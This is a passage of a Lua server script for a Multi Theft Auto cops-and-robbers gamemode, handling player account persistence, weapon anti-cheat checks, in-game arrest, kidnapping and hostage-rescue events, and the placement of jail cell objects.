        if getPedWeapon(source, 1) > 1 and getPedTotalAmmo(source, 1) > 0 and getPedWeapon(source, 1) ~= 3 or getPedWeapon(source, 2) > 1 and getPedTotalAmmo(source, 2) > 500 or getPedWeapon(source, 3) > 1 and getPedTotalAmmo(source, 3) > 350 or getPedWeapon(source, 4) > 1 and getPedTotalAmmo(source, 4) > 1000 or getPedWeapon(source, 5) > 1 and getPedTotalAmmo(source, 5) > 1500 or getPedWeapon(source, 6) > 1 and getPedTotalAmmo(source, 6) > 150 or getPedWeapon(source, 7) > 1 and getPedTotalAmmo(source, 7) > 0 or getPedWeapon(source, 8) > 1 and getPedTotalAmmo(source, 8) > 4 or getPedWeapon(source, 8) > 17 and getPedTotalAmmo(source, 8) > 0 or getPedWeapon(source, 9) > 1 and getPedTotalAmmo(source, 9) > 999999999 or getPedWeapon(source, 10) > 1 and getPedTotalAmmo(source, 10) > 0 or getPedWeapon(source, 11) > 1 and getPedTotalAmmo(source, 11) > 0 and getPedWeapon(source, 11) ~= 46 or getPedWeapon(source, 12) > 1 and getPedTotalAmmo(source, 12) > 0 then
            FABAC('weapon cheat')
        end
    end
end
addEventHandler("onPlayerQuit", getRootElement(), onQuit)

function loadAccount(source, theCurrentAccount)
    --outputDebugString("server: loadAccount")
    accountData = getAccountData(theCurrentAccount, "ADmoney")
    if (accountData) then
        pmoney = getAccountData(theCurrentAccount, "ADmoney")
        pwtlv = getAccountData(theCurrentAccount, "AWantLvl")
        pstat = getAccountData(theCurrentAccount, "AStats")
        pbail = getAccountData(theCurrentAccount, "AMBAIL")
        psecs = getAccountData(theCurrentAccount, "ASecs")
        pmins = getAccountData(theCurrentAccount, "AMins")
        pscore = getAccountData(theCurrentAccount, "AScores")
        ptban = getAccountData(theCurrentAccount, "ATBan")
        if not ptban then
            setElementData(source, "TBan", 0)
        else
            setElementData(source, "TBan", ptban)
        end
        --plang = getAccountData(theCurrentAccount, "ALanguage")

        --pkida = getAccountData(theCurrentAccount, "AKidA")
        pkidh = getAccountData(theCurrentAccount, "AKidH")
        pkid = getAccountData(theCurrentAccount, "AKid")
        pjob = getAccountData(theCurrentAccount, "AJob")
        pdlp = getAccountData(theCurrentAccount, "ADLP")
        psdg = getAccountData(theCurrentAccount, "ASDG")
        pmdg = getAccountData(theCurrentAccount, "AMDG")
        pedg = getAccountData(theCurrentAccount, "AEDG")
        phit = getAccountData(theCurrentAccount, "AHit")

        --plang = getAccountData(theCurrentAccount, "")

        pbank = getAccountData(theCurrentAccount, "ABank")

        if not pscore or pscore < -50 then
            pscore = 0
        end

        pwp2 = getAccountData(theCurrentAccount, "AWP2")
        pwp3 = getAccountData(theCurrentAccount, "AWP3")
        pwp4 = getAccountData(theCurrentAccount, "AWP4")
        pwp5 = getAccountData(theCurrentAccount, "AWP5")
        pwp6 = getAccountData(theCurrentAccount, "AWP6")
        --pwp7 = getAccountData(theCurrentAccount, "AWP7")
        pwp8 = getAccountData(theCurrentAccount, "AWP8")
        pwp11 = getAccountData(theCurrentAccount, "AWP11")
        --pwp12 = getAccountData(theCurrentAccount, "AWP12")

        pwa2 = getAccountData(theCurrentAccount, "AWA2")
        pwa3 = getAccountData(theCurrentAccount, "AWA3")
        pwa4 = getAccountData(theCurrentAccount, "AWA4")
        pwa5 = getAccountData(theCurrentAccount, "AWA5")
        pwa6 = getAccountData(theCurrentAccount, "AWA6")
        --pwa7 = getAccountData(theCurrentAccount, "AWA7")
        pwa8 = getAccountData(theCurrentAccount, "AWA8")
        pwa11 = getAccountData(theCurrentAccount, "AWA11")
        --pwa12 = getAccountData(theCurrentAccount, "AWA12")

        pGLA = getAccountData(theCurrentAccount, "AGLA")
        --[[if not pGLA then
            pGLA = 0
        end]]

        pes = getAccountData(theCurrentAccount, "AES")
        --[[if not pes then
            pes = 1
        end]]

        --setPlayerMoney(source, pmoney)
        if not pscore then
            setElementData(source, "Scores", 0)
        else
            setElementData(source, "Scores", pscore)
        end
        if not pmoney then
            setElementData(source, "Money", 0)
        else
            setElementData(source, "Money", pmoney)
        end
        if not pstat then
            setElementData(source, "Stats", 0)
        else
            setElementData(source, "Stats", pstat)
        end
        if not pwtlv then
            setElementData(source, "WantLvl", 0)
        else
            setElementData(source, "WantLvl", pwtlv)
        end
        if not pbail then
            setElementData(source, "MBail", 0)
        else
            setElementData(source, "MBail", pbail)
        end
        if not psecs then
            setElementData(source, "Secs", 0)
        else
            setElementData(source, "Secs", psecs)
        end
        if not pmins then
            setElementData(source, "Mins", 0)
        else
            setElementData(source, "Mins", pmins)
        end
        --[[if not plang then
            setElementData(source, "Language", 0)
        else
            setElementData(source, "Language", plang)
        end]]
        if not pGLA then
            setElementData(source, "GLA", 0)
        elseif pGLA > 2 then
            setElementData(source, "GLA", 2)
        else
            setElementData(source, "GLA", pGLA)
        end
        if not pes then
            setElementData(source, "ES", 1)
        else
            setElementData(source, "ES", pes)
        end

        --setElementData(source, "KidA", pkida)
        if not pkidh then
            setElementData(source, "KidH", 0)
        else
            setElementData(source, "KidH", pkidh)
        end
        if pkid then
            --setElementData(source, "KidJ", getAccountData(getElementData(bag, "Kid"), "AJob"))
            setElementData(source, "KidJ", getAccountData(getElementData(bag, pkid), "AJob"))
        end
        setElementData(source, "Kid", pkid)
        if not pjob then
            setElementData(source, "Job", 1)
        else
            setElementData(source, "Job", pjob)
        end
        if not pdlp then
            setElementData(source, "DLP", 0)
        else
            setElementData(source, "DLP", pdlp)
        end
        if not psdg then
            setElementData(source, "SDG", 0)
        else
            setElementData(source, "SDG", psdg)
        end
        if not pmdg then
            setElementData(source, "MDG", 0)
        else
            setElementData(source, "MDG", pmdg)
        end
        if not pedg then
            setElementData(source, "EDG", 0)
        else
            setElementData(source, "EDG", pedg)
        end
        --[[if not phit then
            setElementData(source, "Hits", 0)
        else]]
        if phit then
            if phit < 1 then
                phit = false
            end
        end
            setElementData(source, "Hits", phit)
        --end
        if not pbank then
            setElementData(source, "Bank", 0)
        else
            setElementData(source, "Bank", pbank)
        end
        --[[if not getElementData(source, "Scores") then
            setElementData(source, "Scores", 0)
        end
        if not getElementData(source, "Money") then
            setElementData(source, "Money", 0)
        end
        if not getElementData(source, "Stats") then
            setElementData(source, "Stats", 0)
        end
        if not getElementData(source, "WantLvl") then
            setElementData(source, "WantLvl", 0)
        end
        if not getElementData(source, "MBail") then
            setElementData(source, "MBail", 0)
        end
        if not getElementData(source, "Secs") then
            setElementData(source, "Secs", 0)
        end
        if not getElementData(source, "Mins") then
            setElementData(source, "Mins", 0)
        end
        if not getElementData(source, "Language") then
            setElementData(source, "Language", 0)
        end
        if not getElementData(source, "GLA") then
            setElementData(source, "GLA", 0)
        end
        if not getElementData(source, "ES") then
            setElementData(source, "ES", 0)
        end
        if not getElementData(source, "KidH") then
            setElementData(source, "KidH", 0)
        end
        if not getElementData(source, "Job") then
            setElementData(source, "Job", 1)
        end
        if not getElementData(source, "DLP") then
            setElementData(source, "DLP", 0)
        end
        if not getElementData(source, "SDG") then
            setElementData(source, "SDG", 0)
        end
        if not getElementData(source, "MDG") then
            setElementData(source, "MDG", 0)
        end
        if not getElementData(source, "EDG") then
            setElementData(source, "EDG", 0)
        end
        if not getElementData(source, "Hits") then
            setElementData(source, "Hits", 0)
        end
]]
        if not pwa8 then
            pwa8 = 0
        elseif pwa8 > 4 then
            pwa8 = 4
        end
        setElementData(source, "WP2", pwp2)
        setElementData(source, "WP3", pwp3)
        setElementData(source, "WP4", pwp4)
        setElementData(source, "WP5", pwp5)
        setElementData(source, "WP6", pwp6)
        setElementData(source, "WP7", pwp7)
        setElementData(source, "WP8", pwp8)
        setElementData(source, "WP11", pwp11)
        setElementData(source, "WP12", pwp12)

        setElementData(source, "WA2", pwa2)
        setElementData(source, "WA3", pwa3)
        setElementData(source, "WA4", pwa4)
        setElementData(source, "WA5", pwa5)
        setElementData(source, "WA6", pwa6)
        setElementData(source, "WA7", pwa7)
        setElementData(source, "WA8", pwa8)
        setElementData(source, "WA11", pwa11)
        setElementData(source, "WA12", pwa12)

        setElementData(source, "WantLvl", pwtlv)
        setAccountData(theCurrentAccount, "ADmoney", 0)
    else
        setElementData(source, "Money", 2000)
        setAccountData(theCurrentAccount, "AWP2", 23)
        setAccountData(theCurrentAccount, "AWP3", 25)
        setAccountData(theCurrentAccount, "AWP4", 0)
        setAccountData(theCurrentAccount, "AWP5", 0)
        setAccountData(theCurrentAccount, "AWP6", 0)
        --setAccountData(theCurrentAccount, "AWP7", 0)
        setAccountData(theCurrentAccount, "AWP8", 0)
        setAccountData(theCurrentAccount, "AWP11", 0)
        --setAccountData(theCurrentAccount, "AWP12", 0)

        setAccountData(theCurrentAccount, "AWA2", 51)
        setAccountData(theCurrentAccount, "AWA3", 50)
        setAccountData(theCurrentAccount, "AWA4", 0)
        setAccountData(theCurrentAccount, "AWA5", 0)
        setAccountData(theCurrentAccount, "AWA6", 0)
        --setAccountData(theCurrentAccount, "AWA7", 0)
        setAccountData(theCurrentAccount, "AWA8", 0)
        setAccountData(theCurrentAccount, "AWA11", 0)
        --setAccountData(theCurrentAccount, "AWA12", 0)
        setAccountData(theCurrentAccount, "ADmoney", 0)
        setAccountData(theCurrentAccount, "ABank", 0)
    end
end

function saveAccount(source)
    --outputDebugString("server: saveAccount")
    account = getPlayerAccount(source)
    if account then
        if getElementData(source, "Rob") then
            setAccountData(account, "ADmoney", getElementData(source, "Money")-getElementData(source, "Rob"))
            if getAccountData(account, "ADmoney") < 0 then
                setAccountData(account, "ABank", getElementData(source, "Bank")+getAccountData(account, "ADmoney"))
                setAccountData(account, "ADmoney", 0)
            else
                setAccountData(account, "ABank", getElementData(source, "Bank"))
            end
        else
            setAccountData(account, "ADmoney", getAccountData(account, "ADmoney")+getElementData(source, "Money"))
            setAccountData(account, "ABank", getElementData(source, "Bank"))
        end
        setAccountData(account, "AScores", getElementData(source, "Scores"))
        setAccountData(account, "AStats", getElementData(source, "Stats"))
        setAccountData(account, "AWantLvl", getElementData(source, "WantLvl"))
        setAccountData(account, "AMBAIL", getElementData(source, "MBail"))
        setAccountData(account, "ASecs", getElementData(source, "Secs"))
        setAccountData(account, "AMins", getElementData(source, "Mins"))
        setAccountData(account, "AES", getElementData(source, "ES"))
        setAccountData(account, "AGLA", getElementData(source, "GLA"))
        setAccountData(account, "ALanguage", getElementData(source, "Language"))
        setAccountData(account, "PArmor", getPedArmor(source))
        setAccountData(account, "ATBan", getElementData(source, "TBan"))

        --setAccountData(account, "AKidA", getElementData(source, "KidA"))
        setAccountData(account, "AJob", getElementData(source, "Job"))
        setAccountData(account, "ADLP", getElementData(source, "DLP"))
        setAccountData(account, "AKidH", getElementData(source, "KidH"))
        setAccountData(account, "AKid", getElementData(source, "Kid"))
        setAccountData(account, "ASDG", getElementData(source, "SDG"))
        setAccountData(account, "AMDG", getElementData(source, "MDG"))
        setAccountData(account, "AEDG", getElementData(source, "EDG"))
        setAccountData(account, "AHit", getElementData(source, "Hits"))

        if getElementData(source, "Alive") then
            setAccountData(account, "AWP2", getPedWeapon(source, 2))
            setAccountData(account, "AWP3", getPedWeapon(source, 3))
            setAccountData(account, "AWP4", getPedWeapon(source, 4))
            setAccountData(account, "AWP5", getPedWeapon(source, 5))
            setAccountData(account, "AWP6", getPedWeapon(source, 6))
            --setAccountData(account, "AWP7", getPedWeapon(source, 7))
            setAccountData(account, "AWP8", getPedWeapon(source, 8))
            setAccountData(account, "AWP11", getPedWeapon(source, 11))
            --setAccountData(account, "AWP12", getPedWeapon(source, 12))

            setAccountData(account, "AWA2", getPedTotalAmmo(source, 2))
            setAccountData(account, "AWA3", getPedTotalAmmo(source, 3))
            setAccountData(account, "AWA4", getPedTotalAmmo(source, 4))
            setAccountData(account, "AWA5", getPedTotalAmmo(source, 5))
            setAccountData(account, "AWA6", getPedTotalAmmo(source, 6))
            --setAccountData(account, "AWA7", getPedTotalAmmo(source, 7))
            setAccountData(account, "AWA8", getPedTotalAmmo(source, 8))
            setAccountData(account, "AWA11", getPedTotalAmmo(source, 11))
            --setAccountData(account, "AWA12", getPedTotalAmmo(source, 12))
        else
            setAccountData(account, "AWP2", getElementData(source, "WP2"))
            setAccountData(account, "AWP3", getElementData(source, "WP3"))
            setAccountData(account, "AWP4", getElementData(source, "WP4"))
            setAccountData(account, "AWP5", getElementData(source, "WP5"))
            setAccountData(account, "AWP6", getElementData(source, "WP6"))
            --setAccountData(account, "AWP7", getElementData(source, "WP7"))
            setAccountData(account, "AWP8", getElementData(source, "WP8"))
            setAccountData(account, "AWP11", getElementData(source, "WP11"))
            --setAccountData(account, "AWP12", getElementData(source, "WP12"))

            setAccountData(account, "AWA2", getElementData(source, "WA2"))
            setAccountData(account, "AWA3", getElementData(source, "WA3"))
            setAccountData(account, "AWA4", getElementData(source, "WA4"))
            setAccountData(account, "AWA5", getElementData(source, "WA5"))
            setAccountData(account, "AWA6", getElementData(source, "WA6"))
            --setAccountData(account, "AWA7", getElementData(source, "WA7"))
            setAccountData(account, "AWA8", getElementData(source, "WA8"))
            setAccountData(account, "AWA11", getElementData(source, "WA11"))
            --setAccountData(account, "AWA12", getElementData(source, "WA12"))
        end

        if getElementData(source, "Stats") == 2 then
            setAccountData(account, "AStats", 3)
            setAccountData(account, "AWantLvl", 0)
        elseif getElementData(source, "WantLvl") > 2 --[[and sps]] and not getElementData(source, "Kid") then
            for _, players in ipairs(getElementsByType("player")) do
                if getPlayerTeam(players) == Police and getElementData(source, "WantLvl") > 2 then
                    ax, ay, az = getElementPosition(source)
                    cx, cy, cz = getElementPosition(players)
                    dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)
                    if dist < 60 then
                        --Mplayer = players
                        --reward = swtlv*200
                        --rscore = false
                        --triggerClientEvent(players, "GPM", players, Mplayer, reward, rscore)
                        setElementData(players, "Money", getElementData(players, "Money")+(getElementData(source, "WantLvl")*200))
                        setAccountData(account, "AStats", 3)
                        setAccountData(account, "AWantLvl", 0)
                    end
                end
            end
        else
            if getElementData(source, "Stats") < 2 then
                setAccountData(account, "AStats", 0)
            else
                setAccountData(account, "AStats", getElementData(source, "Stats"))
            end
            setAccountData(account, "AWantLvl", getElementData(source, "WantLvl"))
        end
    end
    --sps = false
end

--[[addEvent("BAL", true)
function ball(btx, bty, btz, btr, model, team)
    --outputDebugString("server: ball")
    spawnPlayer(source, btx, bty, btz, btr, model, 0, 0, team)
end
addEventHandler("BAL", getRootElement(), ball)

addEvent("GRO", true)
function grov(gtx, gty, gtz, gtr, model, team)
    --outputDebugString("server: grov")
    spawnPlayer(source, gtx, gty, gtz, gtr, model, 0, 0, team)
end
addEventHandler("GRO", getRootElement(), grov)

addEvent("VAG", true)
function vago(vtx, vty, vtz, vtr, model, team)
    --outputDebugString("server: vago")
    spawnPlayer(source, vtx, vty, vtz, vtr, model, 0, 0, team)
end
addEventHandler("VAG", getRootElement(), vago)

addEvent("AZT", true)
function azte(atx, aty, atz, atr, model, team)
    --outputDebugString("server: azte")
    spawnPlayer(source, atx, aty, atz, atr, model, 0, 0, team)
end
addEventHandler("AZT", getRootElement(), azte)

addEvent("POL", true)
function poli(ptx, pty, ptz, ptr, model, team)
    --outputDebugString("server: poli")
    spawnPlayer(source, ptx, pty, ptz, ptr, model, 0, 0, team)
end
addEventHandler("POL", getRootElement(), poli)]]

addEvent("MDC", true)
function medi(mtx, mty, mtz, mtr, model, team)
    --outputDebugString("server: medic")
    spawnPlayer(source, mtx, mty, mtz, mtr, model, 0, 0, team)
    exports["guimessages"]:outputServer(source, "You Are Medic | Heal other players to earn Money!", 0, 255, 255)
    exports["guimessages"]:outputServer(source, "You can create medic marker by command /medic.", 255, 50, 150)
    for i = 1, 5 do
        giveWeapon(source, 41, 9999, true)
    end
    setTimer(setCameraTarget, 50, 1, source)
end
addEventHandler("MDC", getRootElement(), medi)

addEvent("NOT", true)
function noTeam(ntx, nty, ntz, ntr, model, team)
    --outputDebugString("server: noTeam")
    spawnPlayer(source, ntx, nty, ntz, ntr, model, 0, 0, team)
end
addEventHandler("NOT", getRootElement(), noTeam)

--[[addEvent("STSW", true)
function FTSW(aplayer)
    --outputDebugString("server: FTSW")
    takeWeaponAmmo(aplayer, getPedWeapon(aplayer, 8), 1)
    pseat = getPedOccupiedVehicleSeat(aplayer)
    triggerClientEvent("CTSW", aplayer, aplayer)
    for _, players in ipairs(getElementsByType("player")) do
        if aplayer == players then
        else
            triggerClientEvent("CTSWA", players, aplayer, pseat)
        end
    end
end
addEventHandler("STSW", getRootElement(), FTSW)]]

gbm = {}

---------------------------------------------------------------

addEvent("anim", true)
function ani(source)
    --outputDebugString("server: ani")
    triggerClientEvent("Canim", getRootElement(), source)
end
addEventHandler("anim", getRootElement(), ani)

addEvent("anim2", true)
function ani2(source)
    --outputDebugString("server: ani2")
    triggerClientEvent("Canim2", getRootElement(), source)
end
addEventHandler("anim2", getRootElement(), ani2)

addEvent("arresting", true)
function ARRESTSTYLE(source, cop)
    --outputDebugString("server: ARRESTSTYLE")
    if getElementData(source, "Stats") < 2 and getElementData(cop, "Stats") < 2 and getElementHealth(source) > 0 and getElementHealth(cop) > 0 then
        setElementData(cop, "Prisoners", 1)
        setPedWeaponSlot(source, 0)
        if getPlayerTeam(cop) == Police then
            if rbp == source then
                x, y, z = getElementPosition(source)
                z = z-1
                FDBFR(x, y, z)
            end
            triggerClientEvent("Tcheckntf", source, 'r', 'kd', 'r', ybktext[source]..' '..getPlayerName(cop), source)
            triggerClientEvent("Tcheckntf", cop, 'g', 'kd', 'g', yhktext[cop]..' '..getPlayerName(source), cop)
            exports["guimessages"]:outputServer(source, ar1text[source]..''..getPlayerName(cop)..''..ar2text[source], 255, 0, 0)
            exports["guimessages"]:outputServer(cop, car1text[cop]..''..getPlayerName(source)..''..car2text[cop], 0, 0, 255)
            triggerClientEvent("Tcheckntf", source, 'r', 'hc', 'r', ar1text[source]..''..getPlayerName(cop)..''..ar2text[source], source)
            triggerClientEvent("Tcheckntf", cop, 'g', 'hc', 'g', car1text[cop]..''..getPlayerName(source)..''..car2text[cop], cop)
            toggleControl(source, "fire", false)
            toggleControl(source, "jump", false)
            toggleControl(source, "next_weapon", false)
            toggleControl(source, "previous_weapon", false)
            --theprisoner = source
            setElementData(source, "Stats", 2)
            triggerClientEvent("UTWPTJ", cop, cop)
            setPedFightingStyle(source, 16)
            ARS = math.random(1, 2)
            if ARS == 1 then
                setTimer(triggerClientEvent, 3000, 1, "FOL", source, cop, source)
                setTimer(triggerClientEvent, 3000, 1, "TWPTJ", cop, cop, source)
            else
                setTimer(triggerClientEvent, 5000, 1, "FOL", source, cop, source)
                setTimer(triggerClientEvent, 5000, 1, "TWPTJ", cop, cop, source)
            end
        else
            if rbp == source then
                FDBFR()
            end
            exports["guimessages"]:outputServer(source, ybktext[source]..' '..getPlayerName(cop), 255, 0, 0)
            exports["guimessages"]:outputServer(cop, yhktext[cop]..' '..getPlayerName(source), 255, 125, 0)
            setElementData(source, "Stats", 4)
            setElementFrozen(source,false)  --@holsten to fix bug if he was in marker
            --kwl = getElementData(cop, "WantLvl")
            if getElementData(cop, "WantLvl") < 3 then
                if getPlayerTeam(source) == Police then
                    setElementData(cop, "WantLvl", 4)
                else
                    setElementData(cop, "WantLvl", 3)
                end
            end
            --kidnapper[cop] = source
            setElementData(cop, "WantLvl", getElementData(cop, "WantLvl"))
            setElementData(bag, getPlayerName(cop), getPlayerAccount(cop))
            setElementData(source, "KidH", math.random(1, 3))
            setElementData(source, "Kid", getPlayerName(cop))
        end
        --acop = cop
        triggerClientEvent("ARanim", getRootElement(), source, cop, ARS)
        triggerClientEvent("clienAR", getRootElement(source, cop), source, cop)
    end
end
addEventHandler("arresting", getRootElement(), ARRESTSTYLE)

addEvent("warp", true)
function wptv(player, cop)
    --outputDebugString("server: wptv")
    veh = getPedOccupiedVehicle(cop)
    model = getElementModel(veh)
    if getVehicleOccupant(veh, 2) == false then
        warpPedIntoVehicle(player, veh, 2)
    elseif getVehicleOccupant(veh, 3) == false then
        warpPedIntoVehicle(player, veh, 3)
    end
    if isPedInVehicle(player) == false then
        if getVehicleOccupant(veh, 1) == false then
            warpPedIntoVehicle(player, veh, 1)
            setPedAnimation(player, "SWORD", "sword_block", 0, false, false, true, false)
        end
    else
        setPedAnimation(player, "SWORD", "sword_block", 0, false, false, true, false)
    end
end
addEventHandler("warp", getRootElement(), wptv)

addEvent("unwarp", true)
function uwptv(player)
    --outputDebugString("server: uwptv")
    removePedFromVehicle(player)
    setPedAnimation(player, "SWORD", "sword_block", 0, false, false, true, false)
end
addEventHandler("unwarp", getRootElement(), uwptv)

addEvent("WANTED", true)
function wantedlevel(suspect, WANLEV)
    --outputDebugString("server: wantedlevel")
    setElementData(suspect, "WantLvl", WANLEV)
end
addEventHandler("WANTED", getRootElement(), wantedlevel)

addEvent("escaped", true)
function NOTUAR(player, cop, block, anim)
    --outputDebugString("server: NOTUAR")
    if cop then
        if getPlayerTeam(cop) == Police then
            triggerClientEvent("UTWPTJ", cop)
        end
        setElementData(cop, "Prisoners", 0)
        --setElementData(bag, getPlayerName(cop), false)
    end
    if player then
        --block, anim = getPedAnimation(player)
        if block == "ped" and anim == "cower" then
            setPedAnimation(player, "SWORD", "sword_block", 1, false, false)
        end
        if getElementData(player, "Stats") > 3 then
            setElementData(player, "Stats", 0)
            toggleControl(player, "jump", true)
        else
            setElementData(player, "Stats", -1)
        end
        setElementData(source, "KidH", 0)
        setElementData(source, "Kid", false)
    end
    if cop and player then
        exports["guimessages"]:outputServer (player, esc1text[player]..''..getPlayerName(cop)..''..esc2text[player], 255, 255, 0)
        exports["guimessages"]:outputServer (cop, cesc1text[cop]..''..getPlayerName(player)..''..cesc2text[cop], 255, 0, 0)
        triggerClientEvent("Tcheckntf", player, 'y', 'ehc', 'y', esc1text[player]..''..getPlayerName(cop)..''..esc2text[player], player)
        triggerClientEvent("Tcheckntf", cop, 'r', 'ehc', 'r', cesc1text[cop]..''..getPlayerName(player)..''..cesc2text[cop], cop)
        if getPlayerTeam(cop) ~= Police then
            triggerClientEvent("CKD", cop, cop)
        end
    end
end
addEventHandler("escaped", getRootElement(), NOTUAR)

addEvent("Kidnapped", true)
function FKidnapped(hitp, cop, knh)
    if cop then
        setElementData(cop, "Prisoners", 0)
        --setElementData(bag, getPlayerName(cop), getPlayerAccount(cop))
        --setElementData(hitp, "Kid", getPlayerName(cop))
        setElementData(hitp, "KidH", knh)
    end
    if isPedDead(hitp) then
        spawnPlayer(hitp, 0, 0, 0, 0, model, 0, 0, team)
        if getTeamFromName("Medic") == team then
            giveWeapon(hitp, 41, 999999)
            giveWeapon(hitp, 41, 999999)
        end
    elseif isPedInVehicle(hitp) then
        removePedFromVehicle(hitp)

    end
    triggerClientEvent("CKD", getRootElement(), cop, hitp)
        knh = math.random(1,3)
    if knh > 2 then
                                     setElementData(hitp, "KidH",3)
                                       setPedRotation(hitp, 90)
                                       fadeCamera ( hitp, false, 1, 0, 0, 0 )
                                       setTimer ( fadeCamera, 1000, 1, hitp, true, 1 )
                                       setTimer ( function(hitp) setElementInterior(hitp, 1, 244, 305, 998.7) end , 1000 , 1, hitp )
                                       knh = 3
    elseif knh > 1 then
                                       setElementData(hitp, "KidH",2)
                                       fadeCamera ( hitp, false, 1, 0, 0, 0 )
                                       setTimer ( fadeCamera, 1000, 1, hitp, true, 1 )
                                       setTimer ( function(hitp) setElementInterior(hitp, 6, 344, 305, 998.7) end, 1000 , 1, hitp )
                                          setPedRotation(hitp, 90)
                                       knh = 2
    elseif knh > 0 then
                                       setElementData(hitp, "KidH",1)
                                       fadeCamera ( hitp, false, 1, 0, 0, 0 )
                                       setTimer ( fadeCamera, 1000, 1, hitp, true, 1 )
                                       setTimer ( function(hitp) setElementInterior(hitp, 3, 293, 310, 998.7) end ,1000 , 1, hitp )
                                       setPedRotation(hitp, 270)
                                       knh = 1
    end
                                knh = false

setElementDimension(hitp, 5)

end
addEventHandler("Kidnapped", getRootElement(), FKidnapped)

addEvent("WARNALLKD", true)
function FWARNALLKD()
    for k,v in ipairs(getElementsByType("player")) do
        if getElementData(v, "Job") == 3 then
            exports["guimessages"]:outputServer(v, wrntext[v], 255, 0, 0)
            exports["guimessages"]:outputServer(v, afhtext[v], 255, 0, 0)
        end
    end
end
addEventHandler("WARNALLKD", getRootElement(), FWARNALLKD)

addEvent("freeH", true)
function FfreeH(resc, hostage, rch)
    --rew = 2000
    --triggerClientEvent("GPM", hostage, hostage, rew)
    --rew = -2000
    --triggerClientEvent("GPM", resc, resc, rew)
    if getPlayerTeam(resc) == Police then
        triggerClientEvent("ResqRew", getRootElement(), rch, hostage)
    else
        setElementData(resc, "Money", getElementData(resc, "Money")-2000)
        setElementData(resc, "Scores", getElementData(resc, "Scores")+2)
    end
    setElementData(hostage, "Money", getElementData(hostage, "Money")+2000)
    triggerClientEvent("payR", hostage, hostage, resc)
end
addEventHandler("freeH", getRootElement(), FfreeH)

addEvent("freeK", true)
function FfreeK(player, cop, resc)
    if resc then
        if getPlayerTeam(resc) == Police then
            exports["guimessages"]:outputServer(player, ybrtext[player], 0, 255, 0)
        else
            exports["guimessages"]:outputServer(player, getPlayerName(resc)..' '..hrytext[player], 0, 255, 0)
        end
    end
    --rew = 2000
    triggerClientEvent("freeP", player, player)
    setElementDimension(player, 0)
    setElementInterior(player, 0)
    --if cop then
    if getElementData(player, "Stats") > 3 then
        if getPlayerFromName(getElementData(player, "Kid")) then
            exports["guimessages"]:outputServer(getPlayerFromName(getElementData(player, "Kid")), efhtext[getPlayerFromName(getElementData(player, "Kid"))], 0, 255, 0)
            --outputChatBox(efhtext[getPlayerFromName(getElementData(player, "Kid"))], getPlayerFromName(getElementData(player, "Kid")), 0, 255, 0)
            setElementData(getPlayerFromName(getElementData(player, "Kid")), "Money", getElementData(getPlayerFromName(getElementData(player, "Kid")), "Money")+2000)
            setElementData(getPlayerFromName(getElementData(player, "Kid")), "Scores", getElementData(getPlayerFromName(getElementData(player, "Kid")), "Scores")+2)
        else
            setAccountData(getElementData(bag, getElementData(player, "Kid")), "ADmoney", getAccountData(getElementData(bag, getElementData(player, "Kid")), "ADmoney")+2000)
            setAccountData(getElementData(bag, getElementData(player, "Kid")), "AScores", getAccountData(getElementData(bag, getElementData(player, "Kid")), "AScores")+2)
        end
        setElementData(player, "Stats", 0)
    end
    --setElementData(bag, getElementData(player, "Kid"), false)
    setElementData(player, "KidH", 0)
    setElementData(player, "KidJ", false)
    setElementData(player, "Kid", false)
    setElementData(player, "protect", true)
end
addEventHandler("freeK", getRootElement(), FfreeK)

addEvent("REDAFS", true)
function FREDAFS(player)
    --outputDebugString("server: FREDAFS")
    --setElementData(player, "Stats", 0)
    setPedFightingStyle(player, 15)
end
addEventHandler("REDAFS", getRootElement(), FREDAFS)

------------------------------------------------------------

j1 = createObject ( 2930, 1585.04, -1679.13, 1228, 0, 0, 270)
--c1 = createColSphere    ( 1584.04, -1679.13, 1226.5, 2 )
j2 = createObject ( 2930, 1580.29, -1679.13, 1228, 0, 0, 270)
--c2 = createColSphere    ( 1579.29, -1679.13, 1226.5, 2 )
j3 = createObject ( 2930, 1575.54, -1679.13, 1228, 0, 0, 270)
--c3 = createColSphere    ( 1574.54, -1679.13, 1226.5, 2 )
j4 = createObject ( 2930, 1570.79, -1679.13, 1228, 0, 0, 270)
--c4 = createColSphere    ( 1569.79, -1679.13, 1226.5, 2 )

j5 = createObject ( 2930, 1583.33, -1662.97, 1228, 0, 0, 90)
--c5 = createColSphere    ( 1584.33, -1662.97, 1226.5, 2 )
j6 = createObject ( 2930, 1578.58, -1662.97, 1228, 0, 0, 90)
--c6 = createColSphere    ( 1579.58, -1662.97, 1226.5, 2 )
j7 = createObject ( 2930, 1573.83, -1662.97, 1228, 0, 0, 90)
--c7 = createColSphere    ( 1574.83, -1662.97, 1226.5, 2 )
j8 = createObject ( 2930, 1569.08, -1662.97, 1228, 0, 0, 90)
--c8 = createColSphere    ( 1570.08, -1662.97, 1226.5, 2 )

------------------------------------------------------------

j9 = createObject  ( 2930, 1588.84, -1679.13, 1232.2, 0, 0, 270)
--c9 = createColSphere     ( 1587.84, -1679.13, 1230.7, 2 )
j10 = createObject ( 2930, 1584.08, -1679.13, 1232.2, 0, 0, 270)
--c10 = createColSphere    ( 1583.08, -1679.13, 1230.7, 2 )
j11 = createObject ( 2930, 1579.34, -1679.13, 1232.2, 0, 0, 270)
--c11 = createColSphere    ( 1578.34, -1679.13, 1230.7, 2 )
j12 = createObject ( 2930, 1574.56, -1679.13, 1232.2, 0, 0, 270)
--c12 = createColSphere    ( 1573.56, -1679.13, 1230.7, 2 )
j13 = createObject  ( 2930, 1569.8, -1679.13, 1232.2, 0, 0, 270)
--c13 = createColSphere     ( 1568.8, -1679.13, 1230.7, 2 )
j14 = createObject ( 2930, 1565.09, -1679.13, 1232.2, 0, 0, 270)
--c14 = createColSphere    ( 1564.09, -1679.13, 1230.7, 2 )
j15 = createObject ( 2930, 1560.34, -1679.13, 1232.2, 0, 0, 270)
--c15 = createColSphere    ( 1559.34, -1679.13, 1230.7, 2 )

j16 = createObject ( 2930, 1587.13, -1662.97, 1232.2, 0, 0, 90)
--c16 = createColSphere    ( 1588.13, -1662.97, 1230.7, 2 )
j17 = createObject ( 2930, 1582.37, -1662.97, 1232.2, 0, 0, 90)
--c17 = createColSphere    ( 1583.39, -1662.97, 1230.7, 2 )
j18 = createObject ( 2930, 1577.61, -1662.97, 1232.2, 0, 0, 90)
--c18 = createColSphere    ( 1578.61, -1662.97, 1230.7, 2 )
j19 = createObject ( 2930, 1572.85, -1662.97, 1232.2, 0, 0, 90)
--c19 = createColSphere    ( 1573.85, -1662.97, 1230.7, 2 )
